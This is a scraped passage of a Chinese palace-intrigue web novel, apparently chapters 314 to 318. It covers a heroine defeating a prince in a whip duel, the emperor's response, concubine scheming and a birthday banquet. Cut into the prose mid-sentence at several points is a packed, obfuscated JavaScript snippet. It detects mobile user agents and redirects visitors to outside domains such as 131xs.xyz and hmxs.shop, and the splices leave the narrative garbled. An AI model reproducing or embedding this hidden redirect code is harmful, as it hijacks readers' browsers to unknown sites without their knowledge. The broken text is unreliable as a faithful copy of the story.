韩承煜心中警铃大作。 他想要抽身急退,却发现自己全身的破绽,仿佛都被晏清澜看穿了一般。 他只能眼睁睁地看着那条九节鞭,朝自己挥来。 “嘶啦——” 鞭子没有直接击中他的要害,却狠狠抽在了他的肩头。 衣衫瞬间破裂,皮肉外翻,一道触目惊心的血痕。 晏清澜的脸色依旧冷漠如霜,只是唇角微微勾起,露出一抹冷笑。 这一鞭,为了前世。 九节鞭上,血珠点点。 晏清澜手腕一抖,鞭身再次舞动,朝韩承煜席卷而去。 韩承煜此刻已是心神大乱,他勉强提起精神,挥剑抵挡。 “铛——” 一声脆响,不是兵器相接,而是韩承煜的发冠,被晏清澜直接击碎,发丝披散。 在大昌,披头散发可是极大的侮辱。 这一鞭,是为庄家。 银冠被打落的那一刻,韩承煜的心态,彻底崩了。 他双目赤红,脸色狰狞。 他已然忘记了此行的目的,此刻的他,心中只有一个念头,那就是要将这**,加倍地奉还。 晏清澜根本不给他这个机会。 只见她手腕轻轻一抖,鞭身缠上了韩承煜的长剑,然后轻轻一拉,便将长剑夺走。 韩承煜顿时成了赤手空拳,他愣愣地看着自己空空如也的双手。 晏清澜轻蔑一笑,长鞭再次挥出,将韩承煜牢牢捆住。 韩承煜试图挣扎,却发现那鞭子越收越紧,几乎要勒进他的骨头里。 晏清澜看着他这副狼狈的模样,随意地打了个哈欠。 然后,她手腕一甩,鞭子带着韩承煜的身体,将他整个人狠狠地抛下了演武台。 “噗——” 韩承煜的身体重重地撞在台下的柏树上,一口鲜血喷涌而出。 胜负已分。 晏清澜收回鞭子,站在演武台上,衣衫整洁如新,额头上连一丝汗珠都没有。 落日的余晖洒在她的身上,给她镀上了一层浅橘色的光晕。 而韩承煜,则如同一个破败的布娃娃,瘫倒在地上,衣衫染血,披头散发。 他挣扎着想要站起来,却只觉得浑身剧痛。 这一鞭,为了那些被他残害的忠良。 晏清澜足尖轻点,身形飘然落地。 她走到韩承煜面前,居高临下地看着他,红唇微扬: “你输了,燕王。” “赌约,别忘了。” 说完,她转身离去,再不看韩承煜一眼。 童玄珏一直站在不远处,看着这场比试。此刻,他轻轻摇了摇头。 他缓步走到韩承煜面前,眼神冰冷: “自己应下的事,可别让本王来提醒你。” 说完,他转身朝晏清澜追去。 走到晏清澜身边时,童玄珏微微低头,看着她,声音低沉: “还气着?” 晏清澜瞥了他一眼: “你说呢?” 韩承煜,可是害得陆家满门抄斩的罪魁祸首。 这口气,哪能这么容易就消了? 童玄珏看着她的眼睛: “我明白了。这事儿,你打算怎么了结,我都随你。若不够,再补一刀便是。” 晏清澜白了他一眼: “行了,赶紧把你惹出来的事儿平了吧。我爹娘那关,你慢慢过。” 童玄珏闻言,有些头疼,阿清的爹娘,可不是好糊弄的。 一起散着步前行,到了一个岔路口,晏清澜停下脚步: “你真不回去?” 童玄珏看着她: “给你撑腰。省得有些人,输不起。” 晏清澜笑了: “谢了。” “都是一家人,还跟我客气?”童玄珏看着她,试探着开口。 晏清澜斜睨他一眼,语气凉凉: “谁跟你是‘一家人’?我们家可没你这号人物。脸皮真厚。” 童玄珏摸了摸鼻子,碰了一鼻子灰,倒也不恼,反而笑得更开心了。 他摇了摇头,朝长乐宫的方向走去。 景元帝见到童玄珏,有些意外,但还是招呼他落座。 童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16558580|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄珏只是淡淡地“嗯”了一声,便坐下,自顾自地倒了一杯茶,慢慢地喝着,明显不想多言。 景元帝见状,试探着开口:“阿珏,你和清澜那丫头……” 童玄珏抬眼,语气淡淡: “陛下想说什么?” 景元帝被他噎了一下,轻咳一声,道:“朕只是关心你们……” 童玄珏放下茶盏,打断了他: “我们的事,不劳陛下费心。倒是陛下,还是多操心操心燕王吧,别让他再做出什么出格的事来。” 景元帝的脸色,瞬间沉了下来。长乐宫外,寒风刺骨。 韩承煜跪在冰冷的石板地上,一下又一下地磕着头,每一下都像是要把石板磕碎一般。 “臣下辜负圣恩,有负陛下栽培,儿臣错了,求父皇原谅!” 他的声音沙哑得厉害,每一个字都像是硬生生从嗓子眼里挤出来的。 若是仔细听,便能听出他声音里的虚弱、不甘,还有那几乎要将牙齿咬碎的恨意。 长乐宫内,景元帝端坐着。 他听着外面的动静,眼角不自觉地抽动了几下。 景元帝缓缓转过头,目光落在了童玄珏的身上,语气里带着几分无奈: “阿珏,你说说,他这演的是哪一出?” 他真正想问的,其实是童玄珏在这件事里,又做了什么。 韩承煜突然失态,景元帝总觉得这背后少不了童玄珏的手笔。 童玄珏却是一副事不关己的模样,他端起茶盏,轻轻地抿了一口,动作优雅而从容。 茶水的雾气氤氲在他的周围,让人看不清他嘴角的弧度,更猜不透他此刻的心思。 “脑子不灵光,还偏要学别人收买人心。” 他慢悠悠地放下茶盏,声音淡淡的,听不出喜怒。 “做好自己的本分就行了,非要去做那惹人厌烦的和事佬。” “没那个本事,就该认清现实。偏偏还要跟人比试,输了也是自找的。” 童玄珏的语气很轻,仿佛在说一件再平常不过的小事。 景元帝觉得头更疼了。 这些字他明明都认得,可连在一起,却让他觉得如此难以理解。 他揉了揉发胀的太阳穴,深吸了一口气,干脆不再去管跪在宫门口的韩承煜。 景元帝直接看向童玄珏,语气中带着一丝探究: “阿珏,你还是跟朕说说,到底发生了什么事吧。 第三百一十五章 ” 童玄珏这才缓缓开口,把韩承煜如何试图用道德**晏清澜,逼她跟庄家和好的事情,原原本本地说了一遍。 他特意强调了韩承煜在晏清澜面前的种种“殷勤”举动,以及晏清澜如何冷漠回应,毫不留情地拒绝了他。 他还着重描述了韩承煜的厚颜无耻,为了达到目的,竟然提出要跟晏清澜比试,还想用比试结果来要挟晏清澜,让她原谅庄家,向庄家人低头。 童玄珏说到这儿,故意停顿了一下,唇角勾起一抹似笑非笑的弧度。 最后的结果,自然是韩承煜被晏清澜狠狠地教训了一顿,不仅输了比试,还丢尽了颜面,只能灰溜溜地跑到长乐宫门口来跪着请罪。 景元帝听着童玄珏的讲述,一开始还眉头紧锁,眼底一片阴霾,仿佛酝酿着一场**。 可听到后面,他紧绷的神情反而慢慢放松下来,嘴角甚至还露出了一丝笑意。 景元帝也端起茶盏,轻轻地喝了一口,茶香在口中弥漫开来,他的声音也变得低沉而意味深长: “本帝要是没记错,他跟晏清澜之间立下生死状这事,是你一手策划的吧?” 童玄珏没有正面回答,只是把玩着手中的茶杯,语气含糊不清: “既然有好戏看,自然是要推波助澜,让戏更精彩。” 从始至终,景元帝的目光都没有看向紧闭的宫门。 他微微点了点头,似乎对童玄珏的做法表示了赞同。 童玄珏见状,反而轻笑了一声,他放下茶杯,语气中带着一丝戏谑: “皇上,这货还在门外装可怜。” 景元帝的眼神瞬间变得冰冷,语气也冷得让人心底发寒: “他想跪,那就让他跪着。” “他不是要认错吗?那就让满宫的人都好好看看,看看他是怎么认错的!” 景元帝说到这里,语气一顿,话里带着一丝警告: “也让那些不长眼的朝臣们都好好掂量掂量,别再动那些歪心思,都给朕认清楚韩承煜的身份!” 从某种意义上来说,晏清澜今日的所作所为,正合了景元帝的心意。 他对晏清澜,是越来越满意了。 厉宗玉,当真是收了一个非同寻常的义女。 而且,那丫头还长了一副好相貌。 景元帝的目光再次落在了童玄珏的身上,话里话外都透着深意: “这晏清澜,倒真是个有趣的人,性子也妙得很。” 他原以为,童玄珏听到这话,会像往常一样,冷哼一声,或者露出嘲讽的表情。 可让景元帝没想到的是,童玄珏竟然也端起了茶盏,轻轻地喝了一口。 放下茶杯后,他唇角微微上扬,竟然破天荒地应了一声: “嗯。” 就这一个简单的“嗯”字,让景元帝的心里顿时激动起来。 他差点就忍不住脱口而出: “阿珏,你觉得晏清澜怎么样?你看她这性格靠谱不?你可喜欢她?” “要是喜欢,朕现在就给你们两个赐婚!” 但他终究还是忍住了。 这种事,急不得。 要是他强行插手,说不定反而会适得其反。 景元帝在心里叹了口气,决定还是再等等,看看情况再说。 他似乎已经完全忘了,自己还有一个儿子正跪在长乐宫门口负荆请罪呢。 直到外面传来一声惊呼,打破了这短暂的平静。 一个宫人连滚带爬地跑了进来,跪在地上,声音颤抖得不成样子: “皇上,不好了,吴王殿下他……他晕过去了!” 景元帝这才缓缓地站起身来,他的神情依旧淡淡的,语气里也没有太大的波澜: “找个太医,给他好好看看。” “既然他已经知道错了,朕也不会再追究什么,只希望他以后别再犯同样的错就是了。” 那内侍听了这话,只觉得心惊胆战,后背都被冷汗湿透了。 皇上这番话,分明就是认可了晏四姑娘的说辞! 看来,这朝堂之上,怕是真的要变天了! 京城里,从来就没有什么秘密。 燕王韩承煜跟晏四姑娘比试输了,跑到长乐宫门口跪着请罪,这事很快就传得沸沸扬扬。 韩承煜平日里树敌不少,那些巴不得看他笑话的人,自然不会放过这个机会。 他们添油加醋,把这件事说得比戏文还精彩。 更有人暗中推波助澜,把这事儿闹得满城皆知。 庄家自然也听到了风声。 晏玥玥得知此事,如同晴天霹雳。 她疯了一般在房间里又砸又摔,把能砸的东西都砸了个稀巴烂。 可即便如此,她心中的怒火依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16565568|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧难以平息。 她一遍又一遍地咒骂着晏清澜,恨不得把她**万段,挫骨扬灰。 发泄了一通之后,晏玥玥的目光落在了腰间的一块玉佩上。 那是韩承煜送给她的。 她愣愣地看着那块玉佩,心里竟生出了一丝异样的感觉。 曾经,韩承煜在她心中,是那般完美无缺。 她崇拜他,爱慕他,觉得他是这世间最好的男子。 可现在,她对韩承煜的那份爱慕,似乎出现了一丝裂痕。 晏玥玥的心里,乱成了一团麻。 她一直觉得韩承煜是那么的出类拔萃,无论是才华还是武功,都是顶尖的。 可如今,她心中的英雄,竟然输给了一个女人。 而且,还是输给了她最厌恶、最憎恨的晏清澜! 晏玥玥无法接受这样的事实。 她的自尊心,不允许自己在任何方面输给晏清澜。 可现在,她心爱的男人,却被晏清澜像对待一条狗一样羞辱。 这种落差,让晏玥玥的心里充满了怨恨和不甘。 她怨恨晏清澜,更怨恨韩承煜让她在晏清澜面前丢了这么大的脸。 她甚至开始怀疑,自己对韩承煜的感情,是否真的那么坚定。 都说情爱最是经不起考验,这话果真不假。 因爱生恨,有时只在一念之间。 而那些因利益而结合的盟友,更是脆弱不堪。 晏明远的脸色,阴沉得仿佛能滴出水来。 钱雅芝的身子才刚刚好转一些,听到这个消息,眼前一黑,直接晕**过去。 在昏迷之前,她死死地抓着周嬷嬷的手,用尽全身的力气,嘶吼道: “那个孽障!她这是存心要逼死我们啊!” “我上辈子到底是造了什么孽,居然养出这么个扶不上墙的废物!” 钱雅芝的声音里,充满了怨毒和恨意。 她是真的恨不得能亲手掐死晏清澜。 晏明远原本还想质问钱雅芝几句,可看到她又晕了过去,也只能作罢。 他怒气冲冲地离开了钱雅芝的院子,一脚踹开了仲姨娘的房门。 仲姨娘正坐在桌边,手里拿着一本书,看得津津有味。 见晏明远进来,她连忙起身,脸上带着温柔的笑容: “老爷,您怎么来了? 第三百一十六章 可是有什么烦心事?” 晏明远没有说话,只是眉头紧锁,在屋子里来回踱步。 仲姨娘走到他身边,轻轻地为他披上一件披风: “夜深了,老爷还是早些歇息吧,别为了那些不值得的人和事,气坏了身子。” 她又倒了一杯热茶,递给晏明远: “老爷,喝杯茶吧,这是妾身特意为您泡的安神茶,能让您睡得安稳些。”仲姨娘正欲捧卷细读,冷不丁“砰”的一声巨响,房门竟被**力踹开。 她吓得手一抖,书册险些滑落,险些惊了胎气。 惊魂未定地抬眼,只见晏明远黑着脸大步跨入,周身裹挟着一股骇人的低气压,绝非寻常。 “老爷?”仲姨娘连忙起身,强压下心头慌乱,忙不迭迎上前去,勉强挤出一丝笑,“您这是怎么了?可是公务上遇上了什么烦心事?” 回应她的,是晏明远愈发阴沉的脸色,可见事情棘手。 他在屋内烦躁地踱来踱去,每一步都像踩在仲姨娘的心尖上,让人心惊胆战。 仲姨娘暗自揣测:能让老爷如此失态,定不是小事。看来,钱雅芝那头又出幺蛾子了。 她不敢多言,只是快步走到柜边,取出一件厚实的披风,小心翼翼地搭在晏明远肩头,柔声劝道: “夜深露重,老爷可得仔细着身子。您为国事操劳,也别太过了,气坏了身子骨可不值当。” 一边说,一边又倒了杯热茶,双手捧到晏明远面前: “老爷,您喝口茶,润润嗓子。这是妾身特意为您备下的安神茶,您尝尝,或许能舒缓些。” 晏明远接过茶盏,指尖无意间触碰到她冰凉的手,心头微微一动。从前,他竟不知这双手这般凉。 他轻抿一口,茶水微苦,入喉却回甘,胸中郁结之气似乎也散了几分。 “啪”的一声,晏明远将茶盏重重搁在桌上,险些震出茶水。 他猛地抓住仲姨娘的手,入手冰凉,让他心疼。 “你月份大了,凡事别太操劳,有什么短缺只管让下人去办。” 他声音低沉,语气虽平淡,却透着不容置疑的关切。 仲姨娘顺势依偎进他怀里,低眉垂首,目光温柔地落在自己微微隆起的小腹: “多谢老爷关心,妾身不累,这孩子乖巧得很,从不折腾人。他呀,也和妾身一样,只盼着老爷能事事顺心,少些烦忧。” 晏明远听了,长叹一声,不由得将她搂得更紧,仿佛要将她揉进骨血里。 “若人人都像你这般善解人意,识大体,我又何至于……” 话到一半,他却生生止住,似有难言之隐,不愿再提。或许是朝堂上的烦心事,不便与后宅妇人说。 仲姨娘多精明的人,哪会追着不放?况且,她也不想知道那些。 她只把头埋在晏明远胸口,用娇柔的嗓音,将话题轻轻巧巧地转开: “老爷,您说,咱们这孩子,将来会是个小小姐,还是个小少爷呢?” 这般娇憨的女儿情态,最是能软化人心,尤其是历经世事沧桑的男人。 晏明远眼底的阴霾散去几分,他垂眸看着怀中温顺的女子,轻抚着她的背,柔声问: “那你呢?你想要个男孩,还是女孩?” 仲姨娘抬起头,眼波流转,似有万千柔情,仿佛世间只剩他们二人。 她凝视着晏明远,一字一句,无比认真: “但凡是老爷的种,无论是男是女,妾身都视若珍宝,疼到骨子里。” 这话,像一汪温泉,缓缓流淌进晏明远心田,熨帖无比。 他忍不住笑起来,伸手刮了刮仲姨娘的鼻子,宠溺道: “你呀!就会说好听的。” 转念间,他又想起公务上的种种烦心事,眉头又锁了起来。 “这几日,我忙于应付朝中那些老狐狸,倒是冷落了你。孩子可还安分?府里那些人,没给你气受吧?” 他略一停顿,目光在仲姨娘身上细细扫过,似乎要将她从头到脚看个仔细,确认她是否真的安好: “还有,玥玥和芸芸暂代中馈,没短了你的用度吧?短了什么,只管和老爷说。” 话锋一转,声音里已带上了几分冷意,那是对钱雅芝母女的不满: “钱雅芝那个毒妇,没找你麻烦吧?她就是个女魔头,惯会捧高踩低。你平日里多加小心,尽量避着她,别和她起冲突。” 仲姨娘听着,唇角勾起一抹浅笑,轻轻摇了摇头,语气轻柔却坚定: “老爷您净瞎操心。府里谁敢给妾身脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16565569|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看?她们躲我还来不及呢。夫人瞧着也挺贤惠,没为难过妾身。” “大小姐更不必说,待人接物都是极好的,挑不出一点错处。就是六小姐……” 她话音一顿,像是突然想起什么不愉快的事,脸上飞快地闪过一丝异样,但很快又恢复如常,仿佛只是错觉。 她继续笑着说,语气轻快,仿佛只是随口一提: “六小姐年纪小,许是还不懂事,说话有些冲,不过也没什么坏心思的。” 这话说得巧妙,看似在为晏玥玥开脱,实则欲扬先抑,以退为进,更引人遐想。 果然,晏明远脸色一沉,语气不善: “她又胡说了什么?可是嫌你抢了她的风头?” 在他看来,晏玥玥仗着嫡女身份,眼高于顶,一向自视甚高。 秋氏得宠,又怀有身孕,晏玥玥心中不忿,说些酸话,倒也不奇怪。 但真要说她如何刻薄,却也未必。 毕竟,以晏玥玥的身份,等闲之人,在她眼里就是个渣。 顶多,因为钱雅芝的缘故,嘴上怼过仲姨娘好几回,冷嘲热讽几句。 可如今听仲姨娘这口气,事情似乎没那么简单。 仲姨娘却不肯多说,只轻描淡写道: “小孩子家,说话没个轻重,老爷别往心里去。左右不过几句闲话,伤不了人。妾身没事的。” 她越是这般轻描淡写,晏明远心里越是不痛快。 他紧紧皱起眉头,沉声道: “玥玥太不像话!无法无天了!你现在有了宝宝,她竟敢如此,这是要翻天吗?日后还得了?” 晏明远已经在心里盘算着,要给晏玥玥一个教训,否则,苏府的规矩都成了摆设。 最近,晏玥玥越发骄纵任性,行事全无章法。 前些日子,晏玥玥与人争执,竟还动手打了自己的兄长。 这哪是一个大家闺秀该有的样子?简直是丢尽了庄家的脸面! 有这些“前科”,晏明远对晏玥玥的印象,早已跌落谷底,失望至极。 如今,仲姨娘稍稍一提,他便深信不疑,只觉怒火中烧。 仲姨娘见状,心中暗喜,面上却不动声色,反而假意劝道: “老爷息怒,气坏了身子不值当。 第三百一十七章 六小姐年纪还小,难免任性些。等她再大些,自然就懂事了。只是……” 她话锋一转,露出几分忧虑,像是真的在为晏玥玥担忧: “六小姐终归是要嫁人的,这般性子,于她自身无益。老爷恕妾身多嘴,姑娘家在娘家,自然千般宠爱万般包容,可到了婆家,未必能有这般自在。人心隔肚皮,不得不防啊。” 这番话,如同一根针,精准地戳中了晏明远的痛处。身为一家之主,他考虑的远不止儿女情长。 他想起近来晏玥玥的种种荒唐行径,心中烦闷更甚。 前几日,晏玥玥口无遮拦,胡乱议论朝政,险些得罪了与皇家交好的陆家,更让三公主脸上无光。 若非景元帝及时为三公主和宋明澜赐婚,稳住了陆家,这笔账,怕是迟早要算到庄家头上,让庄家吃不了兜着走。 景元帝虽不至于因此迁怒整个苏府,但这事,无疑让庄家在圣上面前失了颜面。 更让晏明远恼火的是,晏玥玥此举,却间接导致陆家与八皇子走得更近,这绝非晏明远所愿,甚至让他寝食难安。 要知道,三公主乃是皇后娘娘的嫡亲女儿,而八皇子自幼养在皇后膝下,视若己出,情同母子。 陆家身为武将之首,娶入皇门,本就是极大的荣耀,也是皇恩浩荡的表现。 更何况,这次还是陆家主动请旨赐婚,可见其忠心。 若说之前,陆家回京,景元帝携幼子八皇子亲自出迎,只是在暗示皇恩浩荡,陆家理应有所表示,投桃报李。 那么,这回陆家自己上赶着提亲,便是明明白白地向景元帝表忠心,愿为八皇子效力。 否则,宋明澜也不会突然成为八皇子的剑术老师,悉心教导。这可是天大的殊荣! 如今,陆家与八皇子关系密切,燕王再想拉拢陆家,可谓难如登天,希望渺茫。 而这一切的始作俑者,都是晏玥玥! 越想越气,晏明远只觉一股无名火在胸中乱窜,对晏玥玥这个女儿,失望透顶,恨铁不成钢。 他重重地点了点头,咬牙道: “你说的对,是该好好管教她!身为女子,如此任性妄为,不知轻重,成何体统?简直是丢尽了庄家的脸面!” 仲姨娘见目的已达到,便不再多言,只柔顺地劝道: “老爷都是为了六小姐好,她年纪小,或许一时想不通,会抱怨几句,但日后定会明白您的苦心。哪个孩子不挨几句训呢?” 这话,看似安慰,实则火上浇油,暗指晏玥玥不知好歹,将来必定怨恨晏明远。 晏明远听了,眉头皱得更紧,心里那团火烧得更旺。 仲姨娘见好就收,适时转移话题,带着几分好奇和疑惑问道: “对了,老爷,妾身最近才听说,咱们府上,竟还有位四小姐?只是,听下人们闲聊,说四小姐一直独自住在外头,不与府里走动,什么情况?可是与夫人闹了别扭?” 晏明远正为晏清澜和韩承煜的事大为光火,恨不得将两人**万段。 此刻听仲姨娘提起晏清澜,脸色顿时阴沉下来,眼中厌恶之色毫不掩饰,仿佛吞了一只苍蝇般恶心。 “还能咋地?不过是她翅膀硬了,想飞出庄家!自作孽,不可活!” “还有钱雅芝那个蠢妇,教女无方,简直是烂泥扶不上墙,干啥啥不行,添乱第一名!若非她从中作梗,事情也不会闹到这般田地!” 他粗略地提了几句庄家与晏清澜之间的过节,但隐去了其中腌臜的算计。 仲姨娘静静听着,并不插嘴,只在适当的时候,露出几分惊讶或惋惜的表情,恰到好处地引导着晏明远的情绪。 晏明远越说越气,脸色铁青,眼中怒火熊熊燃烧,仿佛要将一切都焚烧殆尽: “当初,我们确实对她有所疏忽,没能照拂周全,可她也不能因此记恨!钱雅芝固然有错,但她也不能全然不顾亲情,做出这等忤逆之事!” 仲姨娘见状,反而笑出声来,伸手轻轻为晏明远抚着胸口,柔声劝道: “老爷消消气,为了这些不值得的人和事动怒,实在不划算。依妾身看,四小姐年纪小,或许只是一时糊涂,您别往心里去。” 她顿了顿,又道:“后日便是夫人的寿宴,四小姐定然也会回府。不如,您到时劝劝夫人,让她主动跟四小姐说几句软话,赔个不是。再大的误会,也能解开了。” “毕竟是一家人,血浓于水,哪有解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16573976|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不开的疙瘩呢?总不能一辈子不相往来吧?”晏明远打定主意要让钱雅芝低头,便再次给她下了最后通牒。 钱雅芝歪在床上,听着外头传来的消息,指甲深深掐入锦被,几乎要将那上好的料子给抠出个洞来。 她冷笑一声,眼底一片阴鸷。 重修旧好? 晏明远怕是在白日做梦! 钱雅芝眸中精光闪烁,一个恶毒的念头如毒草般在心底疯长。她非但要让晏清澜不痛快,还要让她在这大喜的日子里,当众出丑,身败名裂! 钱雅芝自诩聪明,却不知晏清澜早已今非昔比,又怎会任由她摆布? 转眼,便到了钱雅芝生辰这日。 苏府内外,张灯结彩,一派喜气洋洋。各家前来贺寿的马车,将苏府门前的青石板路堵了个水泄不通。 明眼人一看便知,今日这宴席,来的人里头,除了与晏明远有些交情的,多数都是燕王一派的人,暗地里打着自己的小算盘。至于那些平日里与钱雅芝面和心不和的,则是抱着看好戏的心态来的。 前几日韩承煜跪在长乐宫外,圣上却不置一词,这事儿终究是让燕王那些人心里头打起了鼓。 他们赶着趟儿地来,说是给钱雅芝贺寿,其实是想借机合计合计。 日头渐高,一顶淡青色的小轿停在了苏府门前。 轿帘掀开,先是走出一个身着丁香色比甲的丫鬟,手里捧着个紫檀木的雕花匣子。 随后,轿子里又走出一个身量纤细的丫鬟,正是傅清霁身边得脸的翠环。 翠环理了理衣裳,示意那捧着匣子的丫鬟桂柔上前。 桂柔会意,将一张烫金的帖子递给门口的管事,声音不大,却足以让周围的人听得一清二楚: “我家姑娘今日有事来不了,特意备了份薄礼,还请夫人不要嫌弃。” 说话间,她微微侧身,露出匣子的一角。 只见那匣子里头,隐约可见一尊玉像的轮廓,玉质温润,一看便知价值不菲。 在场的多是见惯了好东西的,一眼就瞧出那玉像的不凡。 怪道呢…… 外头都说晏清澜与钱雅芝水火不容,可如今看来,这传言怕是有假。 第三百一十八章 毕竟,谁家不和的母女,会在生辰这日送这等贵重的礼? 只是,这人没来,礼却到了,未免也太耐人寻味。 更让人玩味的是…… 众人的目光若有似无地扫过翠环和桂柔。 这说话的丫鬟,可是定远将军傅清霁的贴身婢女,一张嘴,却是“我们姑娘”长,“我们姑娘”短的…… 看来,今日这苏府,可比那戏台上还要热闹几分。 苏府的管事是何等精明之人,见状哪敢怠慢。他接过帖子,也不细看,只飞快地扫了一眼那匣子,便点头哈腰地将翠环和桂柔迎了进去。 至于那“我们姑娘”的说辞,他只当没听见。 进了苏府,只见园子里早已是宾客满座,热闹非凡。 几位平日里与钱雅芝不对付的夫人,更是逮着机会,明朝暗讽,唇枪舌剑,好不精彩。 其中一位,生得圆脸柳叶眉,一双三角眼滴溜溜地转,一看就不是个好相与的。 她先是假意打量了钱雅芝一番,视线转向站在边上的仲姨娘,笑得一脸虚伪: “这位……想必就是仲姨娘了吧?妾身可是听说了,您这肚子里,怀的可是一位小少爷呢。” 说着,她又转向钱雅芝,夸张地笑道: “晏夫人,您真是好福气啊!这怕是又要给庄家添丁进口了,往后,您这儿可就更热闹了。” 钱雅芝眼皮都没抬一下,只淡淡地回了句: “热闹是好,只是我这儿,到底比不得您府上热闹。” 这话,明摆着是在讽刺那圆脸夫人。 谁不知道,这位夫人自己生不出儿子,偏偏丈夫又是个爱惹风流债的,以至于府里庶子庶女一大堆,乱成一锅粥。 庄家呢,好歹到如今也只得晏清萦一个庶女,还翻不出什么大浪来。 那圆脸夫人被钱雅芝这般不客气地怼了回去,竟也不恼,反而笑得更欢了。 她目光在人群中扫视一圈,忽然话锋一转,问道: “今儿个可是您的寿辰,怎么……没见着四姑娘呀?” 她顿了顿,故作惊讶地睁大了眼睛: “平日里说是身子弱,要在外头静养,可今儿个这样大的日子,总该回来给您磕个头吧?难不成……外头那些风言风语,都是真的?” 这话一出,满座皆惊。 众人面面相觑,心照不宣。 是啊,晏清澜没来。 这当口,亲生女儿不露面,要说里头没点儿事,谁信啊? 可谁也没想到,竟有人敢当着钱雅芝的面,把这事儿给挑明了。 一时间,所有人的目光都集中在了翠环身上。 翠环却是不慌不忙,上前一步,微微一笑: “夫人您想多了。我家姑娘确实是来不了,这才让我来送礼的。” 桂柔配合地将手中的紫檀木匣子往前送了送。 那圆脸夫人哪肯罢休,她斜睨了翠环一眼,阴阳怪气地说道: “哦?来不了?真是缘分啊,不知道是什么天大的事儿,竟让晏四姑娘连亲娘的寿宴都顾不上?” 她冷哼一声,满脸的嘲讽: “该不会……又是老一套,说身子不爽利吧?” 众人窃窃私语,显然都觉得这借口太过老套。 谁知,翠环却摇了摇头,慢条斯理地说道: “夫人您可真是说笑了。实不相瞒,皇后娘娘和三公主早就下了帖子,请我家姑娘今日进宫呢。” 她微微一顿,故作无奈地叹了口气: “您说,这日子赶到一块儿了,也是没法子的事儿。” 此言一出,举座哗然。 谁也没想到,晏清澜不来,竟是因为宫里的邀约! 这下,谁还敢再多说一句不是? 别说是钱雅芝的寿宴,就是天王老子的寿宴,也得给宫里让路啊。 这要是不去,那可是掉脑袋的大罪! 在场的可都是人精,自然明白这其中的厉害。 更何况,今日来赴宴的,并非全是燕王的人。 有些话,一旦说出口,那可就覆水难收了。 正巧这时,丫鬟们开始传菜,献礼的环节也到了。 晏清萦献上的是一副亲手绣的观音像。 观音像绣得极好,眉眼慈悲,栩栩如生。 只是,在这寿宴上送观音,总让人觉得有些怪异。 可晏清萦依旧是那副温顺柔婉的模样,似乎并未察觉不妥。 钱雅芝纵然心中不快,也只能打落牙齿和血吞。 晏芸清送的,不出意外,又是一幅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16573977|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画。 去年画的是孔雀开屏,今年画的是高山流水。 年年都是画,虽说没什么新意,却也挑不出错处。 晏玥玥则出手阔绰,送了钱雅芝一套价值连城的红宝石头面,贵气逼人,倒是让钱雅芝的脸色好看了些。 至于苏府的几位公子,送的礼物也都是不过不失。 只是,明眼人都能瞧出来,晏四公子晏子晏今年的礼物,明显不如往年用心。 刚才说话的胖脸贵妇,眼珠子在钱雅芝和桂柔之间转了又转,忽然笑眯眯地开口: “晏四姑娘人虽没来,这礼倒是送来了。” 她顿了顿,故作好奇地说道: “既然如此,不如让咱们也开开眼,瞧瞧四姑娘究竟送了什么好东西?” 桂柔依言上前,将手中的紫檀木匣子递给了钱雅芝身边的周嬷嬷。 